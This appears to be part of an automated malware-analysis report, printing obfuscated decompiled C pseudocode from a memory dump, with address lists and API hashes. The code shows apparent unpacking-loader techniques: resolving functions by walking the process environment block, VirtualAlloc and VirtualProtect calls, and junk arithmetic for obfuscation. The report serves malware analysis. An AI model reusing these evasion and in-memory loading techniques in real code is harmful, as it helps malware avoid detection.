                  					 *(_t99 - 8) = 0;
                  					 *_t101 =  *_t101 ^ _t81;
                  					_t49 = E04D22A69(_t49, _t60, _t68, _t72, _t81, _t89,  *(_t99 - 8));
                  				}
                  				_t75 = _t72;
                  				_t51 = memset(_t81, _t49 ^ _t49, _t68 << 0);
                  				_t102 = _t101 + 0xc;
                  				_t82 = _t81 + _t68;
                  				if( *((intOrPtr*)(_t60 + 0x41c3f9)) != _t60) {
                  					_push(0);
                  					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
                  					_t82 = _t82; // executed
                  					_t52 = E04D25F16(_t51, _t60, 0, _t75, _t89); // executed
                  					_push(_t52);
                  					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
                  					_t54 = _t52;
                  					_t51 = E04D28F3B(_t54, _t60, 0, _t75, _t82, _t89);
                  				}
                  				 *(_t99 - 4) = _t82;
                  				 *(_t102 + 0x14) = _t75 & 0x00000000 | _t82 ^  *(_t99 - 4) |  *(_t60 + 0x41d140);
                  				 *_t41 =  *(_t60 + 0x41d140);
                  				_t78 =  *(_t99 - 8);
                  				_push(_t89);
                  				 *(_t99 + 4) =  *(_t99 + 4) & 0x00000000;
                  				 *(_t99 + 4) =  *(_t99 + 4) ^ _t89 & 0x00000000 ^ _t78;
                  				asm("popad");
                  				return _t51;
                  			}




























                  0x04d2709d
                  0x04d2709d
                  0x04d2709d
                  0x04d2709d
                  0x04d2709e
                  0x04d270a5
                  0x04d270ab
                  0x04d270ae
                  0x04d270af
                  0x04d270b2
                  0x04d270b6
                  0x04d270ba
                  0x04d270c1
                  0x04d270cb
                  0x04d270d0
                  0x04d270d0
                  0x04d270d6
                  0x04d270dd
                  0x04d270e0
                  0x04d270e3
                  0x04d270e9
                  0x04d270f5
                  0x04d270fc
                  0x04d27102
                  0x04d2710a
                  0x04d2710c
                  0x04d27112
                  0x04d27119
                  0x04d2711d
                  0x04d2712b
                  0x04d2712b
                  0x04d27135
                  0x04d27138
                  0x04d27138
                  0x04d2713e
                  0x04d27146
                  0x04d2714a
                  0x04d2714b
                  0x04d27153
                  0x04d27157
                  0x04d27158
                  0x04d2715d
                  0x04d27163
                  0x04d27166
                  0x04d27169
                  0x04d2716c
                  0x04d27179
                  0x04d2717d
                  0x04d2717f
                  0x04d27181
                  0x04d27182
                  0x04d27184
                  0x04d2718e
                  0x04d27191
                  0x04d27191
                  0x04d2719d
                  0x04d2719e
                  0x04d2719e
                  0x04d2719e
                  0x04d271a6
                  0x04d271a8
                  0x04d271b0
                  0x04d271b4
                  0x04d271b5
                  0x04d271ba
                  0x04d271c2
                  0x04d271c6
                  0x04d271c7
                  0x04d271c7
                  0x04d271cc
                  0x04d271e0
                  0x04d271ea
                  0x04d271f0
                  0x04d271f1
                  0x04d271f7
                  0x04d271fb
                  0x04d271ff
                  0x04d27201

                  APIs
                  • VirtualAlloc.KERNELBASE(00000000), ref: 04D270D0
                  • VirtualProtect.KERNELBASE(?,?,?,?,00000000), ref: 04D27138
                  Memory Dump Source
                  • Source File: 00000003.00000002.703377273.0000000004D20000.00000040.00000001.sdmp, Offset: 04D20000, based on PE: true
                  Similarity
                  • API ID: Virtual$AllocProtect
                  • String ID:
                  • API String ID: 2447062925-0
                  • Opcode ID: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
                  • Instruction ID: 3ea7ca8d68e67b9bc70fe5450d181ac7d1630ab7966c130232fd592ad3fa1629
                  • Opcode Fuzzy Hash: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
                  • Instruction Fuzzy Hash: 2B418072904214EFEB04AF64CD85BAEBBF5FF88314F05849DEC88AB245C7702950DB69
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Non-executed Functions

                  C-Code - Quality: 61%
                  			E04D22A69(signed int __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
                  				intOrPtr _v8;
                  				signed int _v12;
                  				signed int _v16;
                  				signed int _t52;
                  				signed int _t54;
                  				signed int _t56;
                  				intOrPtr _t63;
                  				signed int _t70;
                  				signed int _t75;
                  				signed int _t88;
                  				signed int _t91;
                  				signed int _t105;
                  				signed int _t109;
                  				signed int _t112;
                  				signed int _t125;
                  				void* _t129;
                  				signed int* _t140;
                  
                  				_push(_v16);
                  				 *_t140 = __eax;
                  				_push(__edi);
                  				 *_t140 =  *_t140 ^ __edi;
                  				 *_t140 =  *_t140 ^ __ecx;
                  				_push(_v12);
                  				 *_t140 = __edx;
                  				_push(__ecx);
                  				 *_t140 =  *_t140 ^ __ecx;
                  				 *_t140 =  *_t140 + __edi;
                  				_push(__ecx);
                  				 *_t140 =  *_t140 - __ecx;
                  				 *_t140 = __esi;
                  				if( *((intOrPtr*)(__ebx + 0x41ce4a)) != 1) {
                  					_v16 = __edx;
                  					_t103 = 0 ^  *(__ebx + 0x41c3f9);
                  					_push(__esi);
                  					_pop(_t125);
                  					_v16 = _t125;
                  					_t105 =  *(__ebx + 0x41c166) +  *((intOrPtr*)((__eax & 0x00000000 | __esi & 0x00000000 ^  *((0 ^  *(__ebx + 0x41c3f9)) + 0x3c)) + _t103 + 0x28));
                  					 *_t17 = _t105;
                  					_push(_v8);
                  					_pop(_t88);
                  					_t107 = _t105 & 0x00000000 | _t88 & 0x00000000 ^  *(__ebx + 0x41c166);
                  					_t91 = _t88;
                  					 *_t140 = __ecx;
                  					_t70 = 0;
                  					_push(0);
                  					 *_t140 =  *_t140 ^ _v16;
                  					_push( *((intOrPtr*)((0 ^  *((_t105 & 0x00000000 | _t88 & 0x00000000 ^  *(__ebx + 0x41c166)) + 0x3c)) + _t107 + 0x28)));
                  					_pop(_t129);
                  					_t109 = _t129 +  *(__ebx + 0x41c166);
                  					_v12 = _t70;
                  					_t52 = 0 ^ _t109;
                  					 *_t140 = _t109;
                  					_t112 = 0;
                  					_push(__ebx);
                  					_t75 = _v12 & 0x00000000 ^ __ebx & 0x00000000 ^  *( *((intOrPtr*)((0 ^  *[fs:0x30]) + 0xc)) + 0xc);
                  					__eflags = _t75;
                  					_pop(_t63);
                  					while(1) {
                  						_t112 = _t112 & 0x00000000 ^ _t91 ^  *_t140 ^  *(_t75 + 0x1c);
                  						_t91 = _t91;
                  						__eflags = _t52 - _t112;
                  						if(_t52 == _t112) {
                  							break;
                  						}
                  						__eflags = _t91 - _t112;
                  						if(__eflags != 0) {
                  							_t75 =  *(_t75 + 4);
                  							if(__eflags != 0) {
                  								continue;
                  							} else {
                  								 *((intOrPtr*)(_t63 + 0x41ce4a)) = 1;
                  								_pop( *_t42);
                  								_pop( *_t44);
                  								_pop( *_t46);
                  								_t54 = _t52 & 0x00000000 ^ _t140[1];
                  								__eflags = _t54;
                  								return _t54;
                  							}
                  						} else {
                  							_pop( *_t36);
                  							_pop( *_t38);
                  							_t56 = _t52 & 0x00000000 |  *(_t140 - 0xfffffffc + 4);
                  							__eflags = _t56;
                  							return _t56;
                  						}
                  						goto L9;
                  					}
                  					_v8 = _t63;
                  					 *(_t75 + 0x1c) = _t91;
                  					_pop( *_t32);
                  					__eflags = 0 ^ _t140[2];
                  					_pop( *_t34);
                  					return _v8;
                  				} else {
                  					_pop( *_t4);
                  					_pop( *_t6);
                  					return  *((intOrPtr*)( &(_t140[1]) - 0xfffffffc));
                  				}
                  				L9:
                  			}




















                  0x04d22a6f
                  0x04d22a72
                  0x04d22a75
                  0x04d22a76
                  0x04d22a79
                  0x04d22a7c
                  0x04d22a7f
                  0x04d22a82
                  0x04d22a83
                  0x04d22a86
                  0x04d22a89
                  0x04d22a8a
                  0x04d22a8d
                  0x04d22a97
                  0x04d22ac9
                  0x04d22ad4
                  0x04d22ad9
                  0x04d22ae5
                  0x04d22aea
                  0x04d22af9
                  0x04d22afb
                  0x04d22afe
                  0x04d22b01
                  0x04d22b0f
                  0x04d22b11
                  0x04d22b14
                  0x04d22b1e
                  0x04d22b23
                  0x04d22b25
                  0x04d22b28
                  0x04d22b29
                  0x04d22b30
                  0x04d22b33
                  0x04d22b3a
                  0x04d22b41
                  0x04d22b4f
                  0x04d22b53
                  0x04d22b5d
                  0x04d22b5d
                  0x04d22b5f
                  0x04d22b60
                  0x04d22b6a
                  0x04d22b6c
                  0x04d22b6d
                  0x04d22b6f
                  0x00000000
                  0x00000000
                  0x04d22bb4
                  0x04d22bb6
                  0x04d22bf2
                  0x04d22bf5
                  0x00000000
                  0x04d22bfb
                  0x04d22bfb
                  0x04d22c05
                  0x04d22c11
                  0x04d22c1d
                  0x04d22c35
                  0x04d22c35
                  0x04d22c3c
                  0x04d22c3c
                  0x04d22bb8
                  0x04d22bb8
                  0x04d22bc4
                  0x04d22be8
                  0x04d22be8
                  0x04d22bef
                  0x04d22bef
                  0x00000000
                  0x04d22bb6
                  0x04d22b71
                  0x04d22b78
                  0x04d22b9c
                  0x04d22ba4
                  0x04d22baa
                  0x04d22bb1
                  0x04d22a99
                  0x04d22a9f
                  0x04d22aaf
                  0x04d22ac6
                  0x04d22ac6
                  0x00000000

                  Memory Dump Source
                  • Source File: 00000003.00000002.703377273.0000000004D20000.00000040.00000001.sdmp, Offset: 04D20000, based on PE: true
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b63c40a153435aee46f1dbaa00f0c7709c3ef757da9a005839b873438a636a49
                  • Instruction ID: 5f75ed9c4e3da66a76ad5277a49fa02edc0871b8727b603f0f96e470de10847d
                  • Opcode Fuzzy Hash: b63c40a153435aee46f1dbaa00f0c7709c3ef757da9a005839b873438a636a49
                  • Instruction Fuzzy Hash: A151CE73D04500EFEB04DF69D98279EBBB1FF80320F1AC5ADC895A7284CA746A10CB95
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Executed Functions

                  C-Code - Quality: 75%
                  			E04525F16(void* __eax, signed int __ebx, void* __ecx, signed int __edx, signed int __esi, signed int _a4) {
                  				signed int _v8;
                  				signed int _v12;
                  				signed int _v16;
                  				signed int _v20;
                  				void* __edi;
                  				signed int _t610;
                  				void* _t612;
                  				signed int _t613;
                  				intOrPtr _t619;
                  				void* _t626;
                  				void* _t628;
                  				void* _t630;
                  				signed int _t631;
                  				signed int _t633;
                  				signed int _t636;
                  				signed int _t638;
                  				void* _t640;
                  				intOrPtr _t641;
                  				signed int _t644;
                  				void* _t646;
                  				signed int _t647;
                  				signed int _t650;
                  				signed int _t652;
                  				signed int _t653;
                  				intOrPtr _t656;
                  				signed int _t658;
                  				signed int _t661;
                  				signed int _t665;
                  				void* _t667;
                  				signed int _t668;
                  				signed int _t671;
                  				signed int _t675;
                  				signed int _t677;
                  				void* _t679;
                  				signed int _t680;
                  				signed int _t682;
                  				signed int _t684;
                  				signed int _t689;
                  				void* _t691;
                  				signed int _t692;
                  				signed int _t698;
                  				signed int _t701;
                  				signed int _t706;
                  				void* _t708;
                  				intOrPtr _t709;
                  				signed int _t711;
                  				void* _t713;
                  				signed int _t714;
                  				signed int _t717;
                  				intOrPtr _t720;
                  				signed int _t722;
                  				void* _t724;
                  				signed int _t726;
                  				intOrPtr _t729;
                  				void* _t730;
                  				signed int _t733;
                  				void* _t739;
                  				void* _t741;
                  				void* _t742;
                  				signed int _t744;
                  				void* _t746;
                  				signed int _t747;
                  				signed int _t753;
                  				signed int _t756;
                  				signed int _t760;
                  				void* _t762;
                  				signed int _t767;
                  				signed int _t771;
                  				void* _t773;
                  				void* _t775;
                  				void* _t776;
                  				intOrPtr _t778;
                  				signed int _t781;
                  				signed int _t785;
                  				intOrPtr _t788;
                  				signed int _t791;
                  				intOrPtr _t794;
                  				signed int _t797;
                  				signed int _t813;
                  				signed int _t816;
                  				void* _t819;
                  				signed int _t821;
                  				signed int _t824;
                  				void* _t827;
                  				void* _t828;
                  				void* _t830;
                  				signed int _t836;
                  				signed int _t840;
                  				signed int _t842;
                  				signed int _t844;
                  				signed int _t851;
                  				signed int _t856;
                  				signed int _t859;
                  				signed int _t862;
                  				signed int _t865;
                  				signed int _t867;
                  				signed int _t869;
                  				signed int _t875;
                  				signed int _t882;
                  				void* _t888;
                  				signed int _t889;
                  				signed int _t893;
                  				signed int _t896;
                  				signed int _t901;
                  				signed int _t906;
                  				signed int _t908;
                  				signed int _t916;
                  				signed int _t920;
                  				signed int _t924;
                  				signed int _t926;
                  				signed int _t928;
                  				signed int _t931;
                  				signed int _t934;
                  				signed int _t936;
                  				signed int _t939;
                  				signed int _t945;
                  				signed int _t947;
                  				signed int _t950;
                  				signed int _t953;
                  				signed int _t955;
                  				signed int _t958;
                  				void* _t966;
                  				signed int _t969;
                  				signed int _t975;
                  				signed int _t977;
                  				signed int _t979;
                  				signed int _t981;
                  				signed int _t986;
                  				signed int _t987;
                  				signed int _t1002;
                  				signed int _t1005;
                  				signed int _t1009;
                  				signed int _t1012;
                  				signed int _t1015;
                  				signed int _t1018;
                  				signed int _t1020;
                  				signed int _t1023;
                  				signed int _t1026;
                  				signed int _t1028;
                  				signed int _t1031;
                  				signed int _t1034;
                  				signed int _t1035;
                  				void* _t1036;
                  				long _t1041;
                  				void* _t1043;
                  				signed int _t1045;
                  				signed int _t1052;
                  				signed int _t1054;
                  				signed int _t1057;
                  				signed int _t1060;
                  				signed int _t1063;
                  				signed int _t1065;
                  				signed int _t1068;
                  				void* _t1069;
                  				signed int _t1071;
                  				signed int _t1074;
                  				void* _t1077;
                  				signed int _t1078;
                  				signed int _t1081;
                  				signed int _t1085;
                  				void* _t1089;
                  				signed int _t1091;
                  				void* _t1097;
                  				void* _t1102;
                  				signed int _t1103;
                  				signed int _t1106;
                  				void* _t1109;
                  				signed int _t1112;
                  				signed int _t1119;
                  				signed int* _t1120;
                  				signed int* _t1121;
                  				signed int* _t1122;
                  				signed int* _t1123;
                  				signed int* _t1124;
                  				signed int* _t1125;
                  				signed int* _t1126;
                  				signed int* _t1127;
                  				signed int* _t1128;
                  				signed int* _t1129;
                  				signed int* _t1130;
                  				signed int* _t1131;
                  				signed int* _t1132;
                  				signed int* _t1133;
                  				signed int* _t1134;
                  				signed int* _t1136;
                  				signed int* _t1139;
                  				signed int* _t1140;
                  				signed int* _t1141;
                  				signed int* _t1142;
                  				signed int* _t1143;
                  				signed int* _t1144;
                  
                  				_t1063 = __esi;
                  				_t813 = __ebx;
                  				_push(__eax);
                  				 *_t1119 =  *_t1119 & 0x00000000;
                  				 *_t1119 =  *_t1119 + _t1102;
                  				_t1103 = _t1119;
                  				_t1120 = _t1119 + 0xfffffff0;
                  				_push(_t1103);
                  				 *_t1120 =  *_t1120 & 0x00000000;
                  				 *_t1120 =  *_t1120 + __ecx;
                  				_push(__ecx);
                  				 *_t1120 =  *_t1120 & 0x00000000;
                  				 *_t1120 =  *_t1120 ^ __edx;
                  				_push(_t1103);
                  				 *_t1120 =  *_t1120 ^ _t1103;
                  				 *_t1120 =  *_t1120 ^ __ebx + 0x0041cca8;
                  				_v16 = _v16 & 0x00000000;
                  				_push(_v16);
                  				 *_t1120 =  *_t1120 + __ebx + 0x41cd5f;
                  				_push( *((intOrPtr*)(__ebx + 0x41f068))());
                  				_pop( *_t7);
                  				_push(_v16);
                  				_pop( *_t9);
                  				_pop( *_t10);
                  				_t920 = _v16;
                  				_t1121 = _t1120 - 0xfffffffc;
                  				_push(__esi);
                  				 *_t1121 =  *_t1121 ^ __esi;
                  				 *_t1121 =  *_t1120;
                  				_push(_v16);
                  				 *_t1121 = _t920;
                  				_push(_t1002);
                  				 *_t1121 =  *_t1121 - _t1002;
                  				 *_t1121 =  *_t1121 ^ __ebx + 0x0041c01b;
                  				_t610 =  *((intOrPtr*)(__ebx + 0x41f060))();
                  				_push(_v16);
                  				 *_t1121 = _t610;
                  				_push(__esi);
                  				 *_t1121 =  *_t1121 & 0x00000000;
                  				 *_t1121 =  *_t1121 + __ebx + 0x41c678;
                  				_t612 =  *((intOrPtr*)(__ebx + 0x41f060))();
                  				_pop( *_t18);
                  				_push(_t920);
                  				 *_t20 = _t612;
                  				_v20 = _v20 + _v20;
                  				_push(_v20);
                  				_pop(_t613);
                  				_v20 = _t613;
                  				_t836 = 0 ^  *(__ebx + 0x41c55d);
                  				if(_t836 > _v20) {
                  					_push(_v12);
                  					 *_t1121 = __ebx + 0x41c01b;
                  					_push(_t1103);
                  					 *_t1121 =  *_t1121 ^ _t1103;
                  					 *_t1121 =  *_t1121 + __ebx + 0x41c678;
                  					_push( *((intOrPtr*)(__ebx + 0x41f064))());
                  					_pop( *_t31);
                  					_push(_v20);
                  					_pop( *_t33);
                  				}
                  				_pop( *_t34);
                  				_t924 = _v20;
                  				 *_t1121 =  *_t1121 & 0x00000000;
                  				 *_t1121 =  *_t1121 + _t924;
                  				 *_t1121 =  *_t1121 & 0x00000000;
                  				 *_t1121 =  *_t1121 | _t813 + 0x0041c8b2;
                  				 *_t1121 =  *_t1121 & 0x00000000;
                  				 *_t1121 =  *_t1121 + _t813 + 0x41d167;
                  				_t619 =  *((intOrPtr*)(_t813 + 0x41f068))(_t924, _t924, _t836);
                  				_v12 = _t836;
                  				 *((intOrPtr*)(_t813 + 0x41c883)) = _t619;
                  				 *_t1121 = _t813 + 0x41c565;
                  				_v12 = 0;
                  				 *_t1121 =  *_t1121 | _t813 + 0x0041c574;
                  				_push( *((intOrPtr*)(_t813 + 0x41f060))(_v12, _v20));
                  				_pop( *_t48);
                  				_push(_v20);
                  				_pop( *_t50);
                  				_pop( *_t51);
                  				 *_t1121 =  *_t1121 - _t1103;
                  				 *_t1121 =  *_t1121 ^ _v20;
                  				 *_t1121 =  *_t1121 ^ _t813;
                  				 *_t1121 =  *_t1121 + _t813 + 0x41cd20;
                  				_push( *((intOrPtr*)(_t813 + 0x41f060))(_t813, _t1103));
                  				_pop( *_t55);
                  				_push(_v16);
                  				_pop( *_t57);
                  				_t626 =  *((intOrPtr*)(_t813 + 0x41f060))();
                  				_v16 = _v16 & 0x00000000;
                  				 *_t1121 =  *_t1121 + _t626;
                  				_v16 = _v16 & 0x00000000;
                  				 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
                  				_t628 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16);
                  				 *_t1121 =  *_t1121 ^ _t924;
                  				 *_t1121 =  *_t1121 + _t628;
                  				_v12 = _v12 & 0x00000000;
                  				 *_t1121 =  *_t1121 | _t813 + 0x0041cfe9;
                  				_t630 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t924);
                  				_pop( *_t72);
                  				_t840 = _v20;
                  				 *_t74 = _t630;
                  				_v20 = _v20 + _t840;
                  				_push(_v20);
                  				_pop(_t631);
                  				_t1065 = _t1063;
                  				_t842 = _t840 & 0x00000000 | _t1103 & 0x00000000 ^  *(_t813 + 0x41ca09);
                  				_t1106 = _t1103;
                  				if(_t842 > _t631) {
                  					 *_t1121 =  *_t1121 & 0x00000000;
                  					 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
                  					 *_t1121 = _t813 + 0x41cfe9;
                  					_t631 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _t813);
                  					_push(_t924);
                  					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) & 0x00000000;
                  					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) ^ _t924 & 0x00000000 ^ _t631;
                  				}
                  				_t633 = _t631 & 0x00000000 ^  *_t1121;
                  				_t1122 =  &(_t1121[1]);
                  				 *_t1122 = _t1002;
                  				 *(_t813 + 0x41d240) = _t633;
                  				_t1005 = 0;
                  				_pop( *_t88);
                  				_t926 = 0 ^ _v20;
                  				_pop( *_t90);
                  				_t844 = _t842 & 0x00000000 ^ _v16;
                  				 *_t1122 =  *_t1122 & 0x00000000;
                  				 *_t1122 =  *_t1122 ^ _t926;
                  				 *_t1122 =  *_t1122 & 0x00000000;
                  				 *_t1122 =  *_t1122 | _t844;
                  				 *_t1122 =  *_t1122 & 0x00000000;
                  				 *_t1122 =  *_t1122 ^ _t813 + 0x0041c624;
                  				_v12 = _v12 & 0x00000000;
                  				 *_t1122 =  *_t1122 ^ _t813 + 0x0041d36b;
                  				_t636 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t926, _t1005, _t633);
                  				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) & 0x00000000;
                  				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) | _t844 -  *_t1122 ^ _t636;
                  				_t1123 =  &(_t1122[1]);
                  				_v16 = _v16 & 0x00000000;
                  				 *_t1123 =  *_t1123 ^  *_t1122;
                  				_v16 = 0;
                  				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c891;
                  				_t638 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16, _t844);
                  				 *_t1123 =  *_t1123 - _t1106;
                  				 *_t1123 =  *_t1123 | _t638;
                  				_v12 = 0;
                  				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c30f;
                  				_t640 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t1106);
                  				_t851 =  *_t1123;
                  				_t1124 =  &(_t1123[1]);
                  				 *_t113 = _t640;
                  				_v16 = _v16 + _t851;
                  				_push(_v16);
                  				_pop(_t641);
                  				_t928 = _t926;
                  				_v16 = _t1005;
                  				if((_t851 & 0x00000000 | _t1005 ^ _v16 |  *(_t813 + 0x41ca38)) > _t641) {
                  					_v20 = _v20 & 0x00000000;
                  					 *_t1124 =  *_t1124 | _t813 + 0x0041c891;
                  					_v12 = 0;
                  					 *_t1124 =  *_t1124 + _t813 + 0x41c30f;
                  					_t641 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _v20);
                  				}
                  				 *_t1124 = _t928;
                  				 *((intOrPtr*)(_t813 + 0x41c910)) = _t641;
                  				_t931 = 0;
                  				_v12 = _t1065;
                  				_t1068 = _v12;
                  				_v12 = 0;
                  				 *_t1124 =  *_t1124 | 0 ^ _a4;
                  				_v16 = 0;
                  				 *_t1124 =  *_t1124 | _t813 + 0x0041c9ef;
                  				_t644 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v12);
                  				_v12 = 0;
                  				 *_t1124 =  *_t1124 ^ _t644;
                  				 *_t1124 = _t813 + 0x41cb65;
                  				_t646 =  *((intOrPtr*)(_t813 + 0x41f060))(_v20, _v12);
                  				_t1125 =  &(_t1124[1]);
                  				_v12 = _t931;
                  				_push( *_t1124 + _t646);
                  				_t934 = _v12;
                  				_pop(_t647);
                  				_v12 = _t647;
                  				_t856 = 0 ^  *(_t813 + 0x41c187);
                  				_t650 = _v12;
                  				if(_t856 > _t650) {
                  					_v20 = 0;
                  					 *_t1125 =  *_t1125 | _t813 + 0x0041c9ef;
                  					 *_t1125 =  *_t1125 ^ _t856;
                  					 *_t1125 =  *_t1125 + _t813 + 0x41cb65;
                  					_t650 =  *((intOrPtr*)(_t813 + 0x41f064))(_t856, _v20);
                  					_v16 = _t1068;
                  					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) & 0x00000000;
                  					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) | _t1068 ^ _v16 | _t650;
                  					_t1068 = _v16;
                  				}
                  				_t652 = _t650 & 0x00000000 ^  *_t1125;
                  				_t1126 = _t1125 - 0xfffffffc;
                  				 *_t162 = _t652;
                  				_v16 = _v16 +  *((intOrPtr*)(_t652 + 0x3c));
                  				_push(_v16);
                  				_pop(_t653);
                  				_t936 = _t934;
                  				 *_t1126 = _t653;
                  				 *_t1126 =  *_t1126 & 0x00000000;
                  				 *_t1126 =  *_t1126 ^ _t813 + 0x0041c16e;
                  				 *_t1126 = _t813 + 0x41ce8a;
                  				_t656 =  *((intOrPtr*)(_t813 + 0x41f068))(_v20, _t1068, _v20);
                  				 *_t1126 = _t1106;
                  				 *((intOrPtr*)(_t813 + 0x41c0cc)) = _t656;
                  				_t1109 = 0;
                  				_t658 =  *_t1126;
                  				_t1127 =  &(_t1126[1]);
                  				 *_t1127 = _t658;
                  				 *_t1127 =  *_t1127 - _t856;
                  				 *_t1127 =  *_t1127 ^ _t658;
                  				 *_t1127 =  *_t1127 - _t936;
                  				 *_t1127 =  *_t1127 + _t813 + 0x41c791;
                  				_v12 = _v12 & 0x00000000;
                  				 *_t1127 =  *_t1127 ^ _t813 + 0x0041ca02;
                  				_t661 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t936, _t856, _v16);
                  				 *_t1127 = _t936;
                  				 *(_t813 + 0x41c9e0) = 0 ^ _t661;
                  				_t939 = 0;
                  				_t1128 = _t1127 - 0xfffffffc;
                  				_v20 = _t813;
                  				_t1009 =  *_t1127;
                  				_t816 = _v20;
                  				_v12 = 0;
                  				 *_t1128 =  *_t1128 | _t816 + 0x0041c000;
                  				_t665 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12);
                  				 *_t1128 =  *_t1128 ^ _t1009;
                  				 *_t1128 = _t665;
                  				 *_t1128 =  *_t1128 - _t1009;
                  				 *_t1128 =  *_t1128 ^ _t816 + 0x0041cc73;
                  				_t667 =  *((intOrPtr*)(_t816 + 0x41f060))(_t1009, _t1009);
                  				_t1129 =  &(_t1128[1]);
                  				 *_t1129 =  *_t1129 ^ _t1068;
                  				_t1069 = _t667;
                  				_t668 = _t1069 + (_t856 & 0x00000000 |  *_t1128);
                  				_t1071 = 0;
                  				_v20 = _t1009;
                  				_t859 = 0 ^  *(_t816 + 0x41c250);
                  				_t1012 = _v20;
                  				if(_t859 > _t668) {
                  					 *_t1129 =  *_t1129 - _t1012;
                  					 *_t1129 =  *_t1129 ^ _t816 + 0x0041c000;
                  					_v12 = 0;
                  					 *_t1129 =  *_t1129 | _t816 + 0x0041cc73;
                  					_t668 =  *((intOrPtr*)(_t816 + 0x41f064))(_v12, _t1012);
                  				}
                  				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) & 0x00000000;
                  				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) | _t859 & 0x00000000 ^ _t668;
                  				_t862 = _t859;
                  				 *_t1129 =  *_t1129 - _t1071;
                  				 *_t1129 =  *_t1129 + ( *(_t1012 + 6) & 0x0000ffff);
                  				 *_t1129 = _t816 + 0x41ca88;
                  				_t671 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12, _t1071);
                  				_v20 = _t862;
                  				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) & 0x00000000;
                  				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) | _t862 ^ _v20 ^ _t671;
                  				_t865 = _v20;
                  				_pop( *_t211);
                  				_v8 = _v8 & 0x00000000;
                  				_v8 = _v8 ^ (_t816 & 0x00000000 | 0 ^ _v16);
                  				_t819 = _t816;
                  				 *_t1129 =  *_t1129 & 0x00000000;
                  				 *_t1129 =  *_t1129 ^ _t819 + 0x0041c863;
                  				_t675 =  *((intOrPtr*)(_t819 + 0x41f060))(_t819);
                  				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) & 0x00000000;
                  				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) | _t1109 -  *_t1129 ^ _t675;
                  				_t1112 = _t1109;
                  				 *_t1129 =  *_t1129 - _t865;
                  				 *_t1129 =  *_t1129 ^ _t1012;
                  				 *_t1129 = _t819 + 0x41ca0d;
                  				_t677 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _t865);
                  				 *_t1129 = _t677;
                  				 *_t1129 = _t819 + 0x41cbe6;
                  				_t679 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _v20);
                  				_t867 =  *_t1129;
                  				_t1130 = _t1129 - 0xfffffffc;
                  				 *_t230 = _t679;
                  				_v16 = _v16 + _t867;
                  				_push(_v16);
                  				_pop(_t680);
                  				_t821 = _t819;
                  				_t869 = _t867 & 0x00000000 | _t1071 & 0x00000000 ^  *(_t821 + 0x41d053);
                  				_t1074 = _t1071;
                  				if(_t869 > _t680) {
                  					_t235 = _t821 + 0x41ca0d; // 0x41ca0d
                  					_v12 = 0;
                  					 *_t1130 =  *_t1130 | _t235;
                  					_t238 = _t821 + 0x41cbe6; // 0x41cbe6
                  					 *_t1130 =  *_t1130 & 0x00000000;
                  					 *_t1130 =  *_t1130 + _t238;
                  					_t680 =  *((intOrPtr*)(_t821 + 0x41f064))(_t1074, _v12);
                  				}
                  				 *_t1130 = _t1012;
                  				 *(_t821 + 0x41c918) = 0 ^ _t680;
                  				_t1015 = 0;
                  				_v16 = _t869;
                  				_v16 = 0;
                  				 *_t1130 =  *_t1130 + (_t939 & 0x00000000 | _t869 ^ _v16 |  *(_t1015 + 0x54));
                  				_t247 = _t821 + 0x41d093; // 0x41d093
                  				 *_t1130 =  *_t1130 & 0x00000000;
                  				 *_t1130 =  *_t1130 | _t247;
                  				_t682 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
                  				 *_t1130 = _t1015;
                  				 *(_t821 + 0x41c4f0) = 0 ^ _t682;
                  				_t1018 = 0;
                  				 *_t250 = _t821;
                  				_t1020 = _t1018 & 0x00000000 ^ (_t1074 ^  *_t1130 |  *(_t821 + 0x41c166));
                  				_t1077 = _t1074;
                  				 *_t1130 =  *_t1130 & 0x00000000;
                  				 *_t1130 =  *_t1130 ^ _v16;
                  				_t253 = _t821 + 0x41cfd9; // 0x41cfd9
                  				_v20 = 0;
                  				 *_t1130 =  *_t1130 | _t253;
                  				_t684 =  *((intOrPtr*)(_t821 + 0x41f060))(_v20, _t1077);
                  				_v20 = _t1020;
                  				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) & 0x00000000;
                  				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) | _t1020 ^ _v20 ^ _t684;
                  				_t1023 = _v20;
                  				_t1131 =  &(_t1130[1]);
